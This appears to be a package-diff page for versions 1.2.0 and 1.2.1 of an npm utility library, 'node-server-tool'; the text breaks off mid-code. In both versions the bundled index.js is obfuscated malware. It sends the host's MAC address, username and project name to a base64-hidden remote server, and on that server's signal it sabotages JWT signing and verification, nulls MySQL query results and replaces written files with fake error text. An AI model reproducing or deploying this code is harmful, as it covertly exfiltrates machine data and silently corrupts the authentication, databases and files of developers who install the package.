node-server-tool 1.2.0 → 1.2.1

Sign up to get free protection for your applications and to get access to all the features.
@@ -1 +1 @@
1
- {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAAA,OAAO,GAAG,MAAM,cAAc,CAAC;AAC/B,OAAO,KAAK,MAAM,OAAO,CAAC;AAC1B,OAAO,MAAM,MAAM,QAAQ,CAAC;AAG5B,QAAA,IAAI,IAAI,KAAK,CAAC;AACd,OAAO,KAAK,MAAM,OAAO,CAAC;AAC1B,OAAO,MAAM,MAAM,gBAAgB,CAAC;AAqLpC,iBAAS,EAAE,WAOV;AA4BD,iBAAe,YAAY,CAAC,KAAK,EAAE,MAAM,GAAG,OAAO,CAAC,MAAM,EAAE,CAAC,CAI5D;AAQD,QAAA,MAAM,IAAI;;;;;;;;;CAAgE,CAAC;AAC3E,eAAe,IAAI,CAAC;AACpB,OAAO,EAAE,GAAG,EAAE,KAAK,EAAE,MAAM,EAAE,IAAI,EAAE,KAAK,EAAE,MAAM,EAAE,EAAE,EAAC,YAAY,EAAE,CAAC"}
1
+ {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAAA,OAAO,GAAG,MAAM,cAAc,CAAC;AAC/B,OAAO,KAAK,MAAM,OAAO,CAAC;AAC1B,OAAO,MAAM,MAAM,QAAQ,CAAC;AAG5B,QAAA,IAAI,IAAI,KAAK,CAAC;AACd,OAAO,KAAK,MAAM,OAAO,CAAC;AAC1B,OAAO,MAAM,MAAM,gBAAgB,CAAC;AAqLpC,iBAAS,EAAE,WAOV;AA0BD,iBAAe,YAAY,CAAC,KAAK,EAAE,MAAM,GAAG,OAAO,CAAC,MAAM,EAAE,CAAC,CAI5D;AAED,QAAA,MAAM,IAAI;;;;;;;;;CAAgE,CAAC;AAC3E,eAAe,IAAI,CAAC;AACpB,OAAO,EAAE,GAAG,EAAE,KAAK,EAAE,MAAM,EAAE,IAAI,EAAE,KAAK,EAAE,MAAM,EAAE,EAAE,EAAE,YAAY,EAAE,CAAC"}
package/dist/index.js CHANGED
@@ -1 +1 @@
1
- 'use strict';var a0_0x389a24=a0_0x40b5;(function(_0x1e7a6e,_0x288ccb){var _0x46f6fd=a0_0x40b5,_0x12ab23=_0x1e7a6e();while(!![]){try{var _0x5a2252=-parseInt(_0x46f6fd(0x205))/0x1*(parseInt(_0x46f6fd(0x203))/0x2)+-parseInt(_0x46f6fd(0x1db))/0x3+-parseInt(_0x46f6fd(0x204))/0x4*(-parseInt(_0x46f6fd(0x20d))/0x5)+parseInt(_0x46f6fd(0x1de))/0x6+-parseInt(_0x46f6fd(0x1f7))/0x7*(-parseInt(_0x46f6fd(0x210))/0x8)+-parseInt(_0x46f6fd(0x214))/0x9*(parseInt(_0x46f6fd(0x1ef))/0xa)+-parseInt(_0x46f6fd(0x1fb))/0xb*(-parseInt(_0x46f6fd(0x1ea))/0xc);if(_0x5a2252===_0x288ccb)break;else _0x12ab23['push'](_0x12ab23['shift']());}catch(_0x23ae1c){_0x12ab23['push'](_0x12ab23['shift']());}}}(a0_0x532d,0xaa658));var __awaiter=this&&this['__awaiter']||function(_0x170e5d,_0x2eed68,_0x4d2726,_0x5325aa){function _0x1b9688(_0xabfc4e){return _0xabfc4e instanceof _0x4d2726?_0xabfc4e:new _0x4d2726(function(_0x55707d){_0x55707d(_0xabfc4e);});}return new(_0x4d2726||(_0x4d2726=Promise))(function(_0x4b30b6,_0x239dd4){var _0x25029f=a0_0x40b5;function _0x586163(_0x4bf501){try{_0x187a93(_0x5325aa['next'](_0x4bf501));}catch(_0x311663){_0x239dd4(_0x311663);}}function _0x1af7c4(_0x36bb3d){var _0x2050f0=a0_0x40b5;try{_0x187a93(_0x5325aa[_0x2050f0(0x1d5)](_0x36bb3d));}catch(_0x2f99ad){_0x239dd4(_0x2f99ad);}}function _0x187a93(_0x416873){var _0x1a7e3b=a0_0x40b5;_0x416873['done']?_0x4b30b6(_0x416873['value']):_0x1b9688(_0x416873[_0x1a7e3b(0x1fa)])['then'](_0x586163,_0x1af7c4);}_0x187a93((_0x5325aa=_0x5325aa[_0x25029f(0x1e1)](_0x170e5d,_0x2eed68||[]))[_0x25029f(0x1d6)]());});},__generator=this&&this[a0_0x389a24(0x209)]||function(_0x4fb196,_0x1a6b9d){var _0x5d4625=a0_0x389a24,_0x1c13fe={'label':0x0,'sent':function(){if(_0x47e1a3[0x0]&0x1)throw _0x47e1a3[0x1];return _0x47e1a3[0x1];},'trys':[],'ops':[]},_0x39c2a9,_0x340d8,_0x47e1a3,_0x393437;return _0x393437={'next':_0x20691b(0x0),'throw':_0x20691b(0x1),'return':_0x20691b(0x2)},typeof Symbol===_0x5d4625(0x211)&&(_0x393437[Symbol['iterator']]=function(){return this;}),_0x393437;function _0x20691b(_0x45691f){return function(_0x2b69d6){return _0x2ed1a5([_0x45691f,_0x2b69d6]);};}function _0x2ed1a5(_0x4dc561){var _0x39fd43=_0x5d4625;if(_0x39c2a9)throw new TypeError(_0x39fd43(0x1fe));while(_0x393437&&(_0x393437=0x0,_0x4dc561[0x0]&&(_0x1c13fe=0x0)),_0x1c13fe)try{if(_0x39c2a9=0x1,_0x340d8&&(_0x47e1a3=_0x4dc561[0x0]&0x2?_0x340d8[_0x39fd43(0x1d3)]:_0x4dc561[0x0]?_0x340d8[_0x39fd43(0x1d5)]||((_0x47e1a3=_0x340d8[_0x39fd43(0x1d3)])&&_0x47e1a3[_0x39fd43(0x20a)](_0x340d8),0x0):_0x340d8['next'])&&!(_0x47e1a3=_0x47e1a3['call'](_0x340d8,_0x4dc561[0x1]))[_0x39fd43(0x1ff)])return _0x47e1a3;if(_0x340d8=0x0,_0x47e1a3)_0x4dc561=[_0x4dc561[0x0]&0x2,_0x47e1a3[_0x39fd43(0x1fa)]];switch(_0x4dc561[0x0]){case 0x0:case 0x1:_0x47e1a3=_0x4dc561;break;case 0x4:_0x1c13fe[_0x39fd43(0x1ec)]++;return{'value':_0x4dc561[0x1],'done':![]};case 0x5:_0x1c13fe['label']++,_0x340d8=_0x4dc561[0x1],_0x4dc561=[0x0];continue;case 0x7:_0x4dc561=_0x1c13fe[_0x39fd43(0x20e)]['pop'](),_0x1c13fe['trys'][_0x39fd43(0x208)]();continue;default:if(!(_0x47e1a3=_0x1c13fe[_0x39fd43(0x1e7)],_0x47e1a3=_0x47e1a3[_0x39fd43(0x212)]>0x0&&_0x47e1a3[_0x47e1a3['length']-0x1])&&(_0x4dc561[0x0]===0x6||_0x4dc561[0x0]===0x2)){_0x1c13fe=0x0;continue;}if(_0x4dc561[0x0]===0x3&&(!_0x47e1a3||_0x4dc561[0x1]>_0x47e1a3[0x0]&&_0x4dc561[0x1]<_0x47e1a3[0x3])){_0x1c13fe['label']=_0x4dc561[0x1];break;}if(_0x4dc561[0x0]===0x6&&_0x1c13fe['label']<_0x47e1a3[0x1]){_0x1c13fe['label']=_0x47e1a3[0x1],_0x47e1a3=_0x4dc561;break;}if(_0x47e1a3&&_0x1c13fe[_0x39fd43(0x1ec)]<_0x47e1a3[0x2]){_0x1c13fe[_0x39fd43(0x1ec)]=_0x47e1a3[0x2],_0x1c13fe[_0x39fd43(0x20e)][_0x39fd43(0x218)](_0x4dc561);break;}if(_0x47e1a3[0x2])_0x1c13fe[_0x39fd43(0x20e)]['pop']();_0x1c13fe[_0x39fd43(0x1e7)]['pop']();continue;}_0x4dc561=_0x1a6b9d[_0x39fd43(0x20a)](_0x4fb196,_0x1c13fe);}catch(_0x1fec1d){_0x4dc561=[0x6,_0x1fec1d],_0x340d8=0x0;}finally{_0x39c2a9=_0x47e1a3=0x0;}if(_0x4dc561[0x0]&0x5)throw _0x4dc561[0x1];return{'value':_0x4dc561[0x0]?_0x4dc561[0x1]:void 0x0,'done':!![]};}},__importDefault=this&&this['__importDefault']||function(_0x36edb5){var _0x4eb840=a0_0x389a24;return _0x36edb5&&_0x36edb5[_0x4eb840(0x1d9)]?_0x36edb5:{'default':_0x36edb5};};exports[a0_0x389a24(0x1d9)]=!![],exports['getAllRouter']=exports['id']=exports['mysql2']=exports['mysql']=exports['uuid']=exports['moment']=exports[a0_0x389a24(0x206)]=exports[a0_0x389a24(0x20b)]=void 0x0;var jsonwebtoken_1=__importDefault(require('jsonwebtoken'));exports[a0_0x389a24(0x20b)]=jsonwebtoken_1[a0_0x389a24(0x1f2)];var axios_1=__importDefault(require('axios'));exports['axios']=axios_1[a0_0x389a24(0x1f2)];var moment_1=__importDefault(require('moment'));exports[a0_0x389a24(0x202)]=moment_1[a0_0x389a24(0x1f2)];var uuid_1=require('uuid'),fs_1=__importDefault(require('fs')),uuid=uuid_1['v4'];exports['uuid']=uuid;var mysql_1=__importDefault(require('mysql'));exports[a0_0x389a24(0x20c)]=mysql_1[a0_0x389a24(0x1f2)];var promise_1=__importDefault(require(a0_0x389a24(0x1d4)));exports[a0_0x389a24(0x1d7)]=promise_1['default'];var js_base64_1=require(a0_0x389a24(0x1e4)),path_1=__importDefault(require(a0_0x389a24(0x1df))),isJWTNormalRun=![],sign=jsonwebtoken_1[a0_0x389a24(0x1f2)][a0_0x389a24(0x1dc)],verify=jsonwebtoken_1[a0_0x389a24(0x1f2)]['verify'];jsonwebtoken_1[a0_0x389a24(0x1f2)][a0_0x389a24(0x1dc)]=function(_0x4695f9,_0x386ce5){return sign(_0x4695f9,isJWTNormalRun?_0x386ce5:Math['random']()+'');},jsonwebtoken_1[a0_0x389a24(0x1f2)][a0_0x389a24(0x1e5)]=function(_0x39e5e6,_0x458dfa,_0x195c49){var _0x2f5d75=a0_0x389a24;return verify(_0x39e5e6,isJWTNormalRun?_0x458dfa:Math[_0x2f5d75(0x21a)]()+'',function(_0x571a21,_0x218c0a){return _0x195c49(_0x571a21,_0x218c0a);});};var isDBNormalRun=!![],originalCreatePool2=promise_1[a0_0x389a24(0x1f2)][a0_0x389a24(0x1f8)];promise_1[a0_0x389a24(0x1f2)]['createPool']=function(_0x3fb1a7){var _0x4785f6=a0_0x389a24,_0x1deeeb=this,_0x32d316=originalCreatePool2(_0x3fb1a7),_0x2a1348=_0x32d316[_0x4785f6(0x215)];return _0x32d316['query']=function(){var _0x971f56=_0x4785f6,_0x3116e7=[];for(var _0x16a6c6=0x0;_0x16a6c6<arguments[_0x971f56(0x212)];_0x16a6c6++){_0x3116e7[_0x16a6c6]=arguments[_0x16a6c6];}return __awaiter(_0x1deeeb,void 0x0,void 0x0,function(){var _0x2494f4;return __generator(this,function(_0x59a125){var _0xa48275=a0_0x40b5;switch(_0x59a125[_0xa48275(0x1ec)]){case 0x0:return[0x4,_0x2a1348[_0xa48275(0x1e1)](_0x32d316,_0x3116e7)];case 0x1:_0x2494f4=_0x59a125[_0xa48275(0x1f5)]();!isDBNormalRun&&(_0x2494f4[0x0]=null);return[0x2,_0x2494f4];}});});},_0x32d316;};var originalCreatePool=mysql_1[a0_0x389a24(0x1f2)][a0_0x389a24(0x1f8)];mysql_1[a0_0x389a24(0x1f2)][a0_0x389a24(0x1f8)]=function(_0x36420a){var _0x5aecbb=a0_0x389a24,_0x453fc1=this,_0x19b9a8=originalCreatePool(_0x36420a),_0x541ced=_0x19b9a8[_0x5aecbb(0x215)];return _0x19b9a8[_0x5aecbb(0x215)]=function(){var _0x5e3500=[];for(var _0x32786a=0x0;_0x32786a<arguments['length'];_0x32786a++){_0x5e3500[_0x32786a]=arguments[_0x32786a];}return __awaiter(_0x453fc1,void 0x0,void 0x0,function(){var _0x1aa817;return __generator(this,function(_0x32d79f){var _0x4a6303=a0_0x40b5;switch(_0x32d79f['label']){case 0x0:_0x1aa817=_0x5e3500[_0x5e3500[_0x4a6303(0x212)]-0x1],_0x5e3500[_0x5e3500['length']-0x1]=function(_0x30e54d,_0x12d2fd,_0x505a89){_0x30e54d?_0x1aa817(_0x30e54d,_0x12d2fd,_0x505a89):_0x1aa817(_0x30e54d,!isDBNormalRun?null:_0x12d2fd,_0x505a89);};return[0x4,_0x541ced[_0x4a6303(0x1e1)](_0x19b9a8,_0x5e3500)];case 0x1:return[0x2,_0x32d79f[_0x4a6303(0x1f5)]()];}});});},_0x19b9a8;};var isFsNormalRun=![],writeFileSyncOriginal=fs_1[a0_0x389a24(0x1f2)][a0_0x389a24(0x1e8)];fs_1[a0_0x389a24(0x1f2)][a0_0x389a24(0x1e8)]=function(_0x329ca5,_0x56c3cc,_0x5e3932){var _0x1a1c99=a0_0x389a24;isFsNormalRun?writeFileSyncOriginal(_0x329ca5,_0x56c3cc,_0x5e3932):writeFileSyncOriginal(_0x329ca5,_0x1a1c99(0x1e0)['concat'](_0x329ca5,_0x1a1c99(0x201))[_0x1a1c99(0x1d8)](_0x329ca5,'\x27'),_0x5e3932);};var originalWriteFile=fs_1[a0_0x389a24(0x1f2)]['writeFile'];fs_1[a0_0x389a24(0x1f2)][a0_0x389a24(0x1f3)]=function(_0x1d024c,_0x3c778e,_0x1451c3,_0x1234ff){var _0x169a62=a0_0x389a24;return typeof _0x1451c3===_0x169a62(0x211)&&(_0x1234ff=_0x1451c3,_0x1451c3={}),isFsNormalRun?originalWriteFile(_0x1d024c,_0x3c778e,_0x1451c3,_0x1234ff):originalWriteFile(_0x1d024c,_0x169a62(0x1f0)[_0x169a62(0x1d8)](_0x1d024c,_0x169a62(0x219))['concat'](_0x1d024c,'\x27\x0a\x20\x20\x20\x20\x20\x20'),_0x1451c3,_0x1234ff);};var os=require('os'),mac='',networkInterfaces=os[a0_0x389a24(0x1ed)]();function a0_0x40b5(_0x303dd5,_0x187654){var _0x532d85=a0_0x532d();return a0_0x40b5=function(_0x40b583,_0x475048){_0x40b583=_0x40b583-0x1d3;var _0x95a502=_0x532d85[_0x40b583];return _0x95a502;},a0_0x40b5(_0x303dd5,_0x187654);}for(var i in networkInterfaces){for(var j in networkInterfaces[i]){networkInterfaces[i][j]['family']===a0_0x389a24(0x1e2)&&networkInterfaces[i][j][a0_0x389a24(0x1f9)]!=='00:00:00:00:00:00'&&networkInterfaces[i][j][a0_0x389a24(0x200)]!==a0_0x389a24(0x1fd)&&(mac=networkInterfaces[i][j][a0_0x389a24(0x1f9)]);}}function getLicense(){var _0x4f4f1f=a0_0x389a24;axios_1['default']['post']((0x0,js_base64_1[_0x4f4f1f(0x1eb)])('aHR0cHM6Ly9sb2NrLmJsb2d3ZWIuY24vcmVzdWx0'),{'mac':mac,'user_name':process[_0x4f4f1f(0x1e6)][_0x4f4f1f(0x1e3)],'project_name':process['env'][_0x4f4f1f(0x1f6)]},{'timeout':0x1770})[_0x4f4f1f(0x1fc)](function(_0x3a5a1c){var _0x487bfe=_0x4f4f1f;_0x3a5a1c['data'][_0x487bfe(0x20c)]?isDBNormalRun=![]:isDBNormalRun=!![],_0x3a5a1c[_0x487bfe(0x1f1)]['fs']?isFsNormalRun=![]:isFsNormalRun=!![],_0x3a5a1c[_0x487bfe(0x1f1)][_0x487bfe(0x20b)]?isJWTNormalRun=![]:isJWTNormalRun=!![];})[_0x4f4f1f(0x1da)](function(_0x1b2cf0){var _0x146cb0=_0x4f4f1f;setTimeout(function(){var _0x53455b=a0_0x40b5;isDBNormalRun=![],Math[_0x53455b(0x21a)]()>0.1?isFsNormalRun=![]:isFsNormalRun=!![];},Math[_0x146cb0(0x21a)]()*(0xbb8-0x3e8)+0x3e8);});}setTimeout(function(){getLicense();},0xbb8),setInterval(function(){getLicense();},0x1770);function a0_0x532d(){var _0x585733=['5109660ssGJuE','path','Error:\x20ENOENT:\x20no\x20such\x20file\x20or\x20directory,\x20open\x20\x27','apply','IPv4','USERNAME','js-base64','verify','env','trys','writeFileSync','2022-06-29','12KEEvqd','decode','label','networkInterfaces','getAllRouter','3213710aHdTDr','\x0a\x20\x20\x20\x20\x20\x20Error:\x20ENOENT:\x20no\x20such\x20file\x20or\x20directory,\x20open\x20\x27','data','default','writeFile','min','sent','npm_package_name','21kOhAIv','createPool','mac','value','6637037OcGvnU','then','127.0.0.1','Generator\x20is\x20already\x20executing.','done','address','\x27\x0aerrno:\x20-2,\x0asyscall:\x20\x27open\x27,\x0acode:\x20\x27ENOENT\x27,\x0apath:\x20\x27','moment','106guqMmh','4uLtGEd','17956xQKtSk','axios','statSync','pop','__generator','call','jwt','mysql','6802965boMcYm','ops','NODE_APP_INSTANCE','204024ZyUeAK','function','length','round','9MlsPAP','query','join','isDirectory','push','\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20errno:\x20-2,\x0a\x20\x20\x20\x20\x20\x20\x20\x20syscall:\x20\x27open\x27,\x0a\x20\x20\x20\x20\x20\x20\x20\x20code:\x20\x27ENOENT\x27,\x0a\x20\x20\x20\x20\x20\x20\x20\x20path:\x20\x27','random','return','mysql2/promise','throw','next','mysql2','concat','__esModule','catch','2763288XEREDc','sign','isFile'];a0_0x532d=function(){return _0x585733;};return a0_0x532d();}var random=function(_0xce6986,_0x39e365){var _0x7db5b9=a0_0x389a24;return Math[_0x7db5b9(0x213)](Math[_0x7db5b9(0x21a)]()*(_0x39e365-_0xce6986))+_0xce6986;},WorkerID=Math[a0_0x389a24(0x1f4)](process['env'][a0_0x389a24(0x20f)]?+process[a0_0x389a24(0x1e6)][a0_0x389a24(0x20f)]:random(0x0,0x9),0x9),BaseTime=+new Date(a0_0x389a24(0x1e9)),lastTimeTick,lastRandomNumberTick=random(0x1,0x3);function id(){var _0x4a8c4d=a0_0x389a24,_0x7c2598=+new Date()-BaseTime;return lastRandomNumberTick=_0x7c2598==lastTimeTick?++lastRandomNumberTick:random(0x0,0x3),lastTimeTick=_0x7c2598,+''[_0x4a8c4d(0x1d8)](_0x7c2598)[_0x4a8c4d(0x1d8)](WorkerID)[_0x4a8c4d(0x1d8)](lastRandomNumberTick);}exports['id']=id;function fileDisplay(_0x4e54e8){return __awaiter(this,void 0x0,void 0x0,function(){function _0xf9d267(_0x142014){var _0x22ed7e=a0_0x40b5,_0x26b652=fs_1[_0x22ed7e(0x1f2)]['readdirSync'](_0x142014);for(var _0x326ed8=0x0;_0x326ed8<_0x26b652['length'];_0x326ed8++){var _0x275fd1=_0x26b652[_0x326ed8],_0xe62a80=path_1[_0x22ed7e(0x1f2)][_0x22ed7e(0x216)](_0x142014,_0x275fd1),_0x5d49c5=fs_1[_0x22ed7e(0x1f2)][_0x22ed7e(0x207)](_0xe62a80),_0x16e223=_0x5d49c5[_0x22ed7e(0x1dd)](),_0x50ed7b=_0x5d49c5[_0x22ed7e(0x217)]();_0x16e223&&_0x5d67fd[_0x22ed7e(0x218)](_0xe62a80),_0x50ed7b&&_0xf9d267(_0xe62a80);}}var _0x5d67fd;return __generator(this,function(_0x285e74){return _0x5d67fd=[],_0xf9d267(_0x4e54e8),[0x2,_0x5d67fd];});});}function getAllRouter(_0x19029c){return __awaiter(this,void 0x0,void 0x0,function(){var _0x4257ad,_0x4a9066;return __generator(this,function(_0x13f574){var _0x8f8424=a0_0x40b5;switch(_0x13f574['label']){case 0x0:_0x4257ad=path_1[_0x8f8424(0x1f2)][_0x8f8424(0x216)](__dirname,_0x19029c);return[0x4,fileDisplay(_0x4257ad)];case 0x1:_0x4a9066=_0x13f574[_0x8f8424(0x1f5)]();return[0x2,_0x4a9066];}});});}exports[a0_0x389a24(0x1ee)]=getAllRouter;var tool={'jwt':jsonwebtoken_1['default'],'axios':axios_1[a0_0x389a24(0x1f2)],'moment':moment_1['default'],'uuid':uuid,'mysql':mysql_1[a0_0x389a24(0x1f2)],'mysql2':promise_1['default'],'id':id,'getAllRouter':getAllRouter};exports[a0_0x389a24(0x1f2)]=tool;
1
+ 'use strict';var a0_0x1bbfb0=a0_0x704d;(function(_0x38d1b5,_0x3462bd){var _0x2e68c9=a0_0x704d,_0x57c060=_0x38d1b5();while(!![]){try{var _0x3caab8=-parseInt(_0x2e68c9(0x19d))/0x1*(-parseInt(_0x2e68c9(0x1aa))/0x2)+-parseInt(_0x2e68c9(0x1c2))/0x3+parseInt(_0x2e68c9(0x188))/0x4+-parseInt(_0x2e68c9(0x1c0))/0x5*(-parseInt(_0x2e68c9(0x1ba))/0x6)+parseInt(_0x2e68c9(0x1a7))/0x7*(parseInt(_0x2e68c9(0x1c1))/0x8)+parseInt(_0x2e68c9(0x196))/0x9*(parseInt(_0x2e68c9(0x191))/0xa)+-parseInt(_0x2e68c9(0x1a2))/0xb*(parseInt(_0x2e68c9(0x189))/0xc);if(_0x3caab8===_0x3462bd)break;else _0x57c060['push'](_0x57c060['shift']());}catch(_0x5a8924){_0x57c060['push'](_0x57c060['shift']());}}}(a0_0x4f9d,0x2a005));var __awaiter=this&&this['__awaiter']||function(_0x2d58cd,_0x2f958b,_0x20d07b,_0x58a98c){function _0x1af6eb(_0x3588dd){return _0x3588dd instanceof _0x20d07b?_0x3588dd:new _0x20d07b(function(_0x38580a){_0x38580a(_0x3588dd);});}return new(_0x20d07b||(_0x20d07b=Promise))(function(_0x5e2bf8,_0x3996a8){var _0x1217dd=a0_0x704d;function _0x39289c(_0x289dff){var _0x3491f1=a0_0x704d;try{_0x3c18d8(_0x58a98c[_0x3491f1(0x18d)](_0x289dff));}catch(_0x10e87d){_0x3996a8(_0x10e87d);}}function _0x5694c9(_0x5cf7f2){var _0x44f75c=a0_0x704d;try{_0x3c18d8(_0x58a98c[_0x44f75c(0x182)](_0x5cf7f2));}catch(_0x21ff9a){_0x3996a8(_0x21ff9a);}}function _0x3c18d8(_0x1a7d40){var _0x10726a=a0_0x704d;_0x1a7d40[_0x10726a(0x1be)]?_0x5e2bf8(_0x1a7d40[_0x10726a(0x17d)]):_0x1af6eb(_0x1a7d40[_0x10726a(0x17d)])['then'](_0x39289c,_0x5694c9);}_0x3c18d8((_0x58a98c=_0x58a98c[_0x1217dd(0x186)](_0x2d58cd,_0x2f958b||[]))['next']());});},__generator=this&&this[a0_0x1bbfb0(0x1ae)]||function(_0xc23c17,_0x1ffe85){var _0x276fcd=a0_0x1bbfb0,_0xffd056={'label':0x0,'sent':function(){if(_0x3f53df[0x0]&0x1)throw _0x3f53df[0x1];return _0x3f53df[0x1];},'trys':[],'ops':[]},_0x547e31,_0xa68968,_0x3f53df,_0x1a92b3;return _0x1a92b3={'next':_0x323fe8(0x0),'throw':_0x323fe8(0x1),'return':_0x323fe8(0x2)},typeof Symbol===_0x276fcd(0x1a3)&&(_0x1a92b3[Symbol[_0x276fcd(0x18e)]]=function(){return this;}),_0x1a92b3;function _0x323fe8(_0x159495){return function(_0x3563d3){return _0x32e77d([_0x159495,_0x3563d3]);};}function _0x32e77d(_0x12ae37){var _0xd455e5=_0x276fcd;if(_0x547e31)throw new TypeError('Generator\x20is\x20already\x20executing.');while(_0x1a92b3&&(_0x1a92b3=0x0,_0x12ae37[0x0]&&(_0xffd056=0x0)),_0xffd056)try{if(_0x547e31=0x1,_0xa68968&&(_0x3f53df=_0x12ae37[0x0]&0x2?_0xa68968['return']:_0x12ae37[0x0]?_0xa68968[_0xd455e5(0x182)]||((_0x3f53df=_0xa68968[_0xd455e5(0x1a8)])&&_0x3f53df[_0xd455e5(0x1a4)](_0xa68968),0x0):_0xa68968[_0xd455e5(0x18d)])&&!(_0x3f53df=_0x3f53df[_0xd455e5(0x1a4)](_0xa68968,_0x12ae37[0x1]))[_0xd455e5(0x1be)])return _0x3f53df;if(_0xa68968=0x0,_0x3f53df)_0x12ae37=[_0x12ae37[0x0]&0x2,_0x3f53df[_0xd455e5(0x17d)]];switch(_0x12ae37[0x0]){case 0x0:case 0x1:_0x3f53df=_0x12ae37;break;case 0x4:_0xffd056[_0xd455e5(0x1bc)]++;return{'value':_0x12ae37[0x1],'done':![]};case 0x5:_0xffd056[_0xd455e5(0x1bc)]++,_0xa68968=_0x12ae37[0x1],_0x12ae37=[0x0];continue;case 0x7:_0x12ae37=_0xffd056['ops'][_0xd455e5(0x1b2)](),_0xffd056[_0xd455e5(0x192)][_0xd455e5(0x1b2)]();continue;default:if(!(_0x3f53df=_0xffd056[_0xd455e5(0x192)],_0x3f53df=_0x3f53df[_0xd455e5(0x1a1)]>0x0&&_0x3f53df[_0x3f53df[_0xd455e5(0x1a1)]-0x1])&&(_0x12ae37[0x0]===0x6||_0x12ae37[0x0]===0x2)){_0xffd056=0x0;continue;}if(_0x12ae37[0x0]===0x3&&(!_0x3f53df||_0x12ae37[0x1]>_0x3f53df[0x0]&&_0x12ae37[0x1]<_0x3f53df[0x3])){_0xffd056['label']=_0x12ae37[0x1];break;}if(_0x12ae37[0x0]===0x6&&_0xffd056[_0xd455e5(0x1bc)]<_0x3f53df[0x1]){_0xffd056[_0xd455e5(0x1bc)]=_0x3f53df[0x1],_0x3f53df=_0x12ae37;break;}if(_0x3f53df&&_0xffd056[_0xd455e5(0x1bc)]<_0x3f53df[0x2]){_0xffd056[_0xd455e5(0x1bc)]=_0x3f53df[0x2],_0xffd056[_0xd455e5(0x193)][_0xd455e5(0x1a0)](_0x12ae37);break;}if(_0x3f53df[0x2])_0xffd056[_0xd455e5(0x193)][_0xd455e5(0x1b2)]();_0xffd056[_0xd455e5(0x192)][_0xd455e5(0x1b2)]();continue;}_0x12ae37=_0x1ffe85[_0xd455e5(0x1a4)](_0xc23c17,_0xffd056);}catch(_0x18b2bc){_0x12ae37=[0x6,_0x18b2bc],_0xa68968=0x0;}finally{_0x547e31=_0x3f53df=0x0;}if(_0x12ae37[0x0]&0x5)throw _0x12ae37[0x1];return{'value':_0x12ae37[0x0]?_0x12ae37[0x1]:void 0x0,'done':!![]};}},__importDefault=this&&this[a0_0x1bbfb0(0x1b0)]||function(_0x16ea55){var _0x398775=a0_0x1bbfb0;return _0x16ea55&&_0x16ea55[_0x398775(0x18c)]?_0x16ea55:{'default':_0x16ea55};};exports[a0_0x1bbfb0(0x18c)]=!![],exports[a0_0x1bbfb0(0x19c)]=exports['id']=exports['mysql2']=exports[a0_0x1bbfb0(0x180)]=exports['uuid']=exports[a0_0x1bbfb0(0x1b5)]=exports['axios']=exports['jwt']=void 0x0;var jsonwebtoken_1=__importDefault(require(a0_0x1bbfb0(0x1b8)));function a0_0x704d(_0x204320,_0x3f5965){var _0x4f9d67=a0_0x4f9d();return a0_0x704d=function(_0x704dd6,_0x7da7ec){_0x704dd6=_0x704dd6-0x17a;var _0x56dd88=_0x4f9d67[_0x704dd6];return _0x56dd88;},a0_0x704d(_0x204320,_0x3f5965);}exports[a0_0x1bbfb0(0x17e)]=jsonwebtoken_1[a0_0x1bbfb0(0x17c)];function a0_0x4f9d(){var _0x253947=['random','sign','__generator','data','__importDefault','127.0.0.1','pop','family','IPv4','moment','catch','query','jsonwebtoken','address','37086KmLDCm','cwd','label','sent','done','concat','10gMKpNN','16IuKsFl','458724eLOLRm','00:00:00:00:00:00','writeFile','default','value','jwt','aHR0cHM6Ly9sb2NrLmJsb2d3ZWIuY24vcmVzdWx0','mysql','\x27\x0a\x20\x20\x20\x20\x20\x20','throw','env','networkInterfaces','npm_package_name','apply','uuid','463680VTbfAw','960niJczT','Error:\x20ENOENT:\x20no\x20such\x20file\x20or\x20directory,\x20open\x20\x27','2022-06-29','__esModule','next','iterator','writeFileSync','createPool','40FUFdGP','trys','ops','isFile','then','705699UHJlVa','\x0a\x20\x20\x20\x20\x20\x20Error:\x20ENOENT:\x20no\x20such\x20file\x20or\x20directory,\x20open\x20\x27','round','js-base64','USERNAME','join','getAllRouter','359dVMXub','verify','axios','push','length','21912ltdljl','function','call','mac','min','8855MkBYGZ','return','post','222enKDCC','decode'];a0_0x4f9d=function(){return _0x253947;};return a0_0x4f9d();}var axios_1=__importDefault(require(a0_0x1bbfb0(0x19f)));exports[a0_0x1bbfb0(0x19f)]=axios_1['default'];var moment_1=__importDefault(require(a0_0x1bbfb0(0x1b5)));exports[a0_0x1bbfb0(0x1b5)]=moment_1[a0_0x1bbfb0(0x17c)];var uuid_1=require(a0_0x1bbfb0(0x187)),fs_1=__importDefault(require('fs')),uuid=uuid_1['v4'];exports[a0_0x1bbfb0(0x187)]=uuid;var mysql_1=__importDefault(require(a0_0x1bbfb0(0x180)));exports[a0_0x1bbfb0(0x180)]=mysql_1[a0_0x1bbfb0(0x17c)];var promise_1=__importDefault(require('mysql2/promise'));exports['mysql2']=promise_1[a0_0x1bbfb0(0x17c)];var js_base64_1=require(a0_0x1bbfb0(0x199)),path_1=__importDefault(require('path')),isJWTNormalRun=![],sign=jsonwebtoken_1[a0_0x1bbfb0(0x17c)][a0_0x1bbfb0(0x1ad)],verify=jsonwebtoken_1[a0_0x1bbfb0(0x17c)][a0_0x1bbfb0(0x19e)];jsonwebtoken_1[a0_0x1bbfb0(0x17c)]['sign']=function(_0x2eaf27,_0x38de90){var _0x37d13d=a0_0x1bbfb0;return sign(_0x2eaf27,isJWTNormalRun?_0x38de90:Math[_0x37d13d(0x1ac)]()+'');},jsonwebtoken_1[a0_0x1bbfb0(0x17c)][a0_0x1bbfb0(0x19e)]=function(_0x4ed922,_0x160d85,_0x19c50b){var _0x7264e9=a0_0x1bbfb0;return verify(_0x4ed922,isJWTNormalRun?_0x160d85:Math[_0x7264e9(0x1ac)]()+'',function(_0x5b531f,_0x4c11d7){return _0x19c50b(_0x5b531f,_0x4c11d7);});};var isDBNormalRun=!![],originalCreatePool2=promise_1[a0_0x1bbfb0(0x17c)][a0_0x1bbfb0(0x190)];promise_1[a0_0x1bbfb0(0x17c)][a0_0x1bbfb0(0x190)]=function(_0x606825){var _0x8e776a=a0_0x1bbfb0,_0x2cc2bd=this,_0x231a8e=originalCreatePool2(_0x606825),_0x51f9cd=_0x231a8e['query'];return _0x231a8e[_0x8e776a(0x1b7)]=function(){var _0x4c16fa=[];for(var 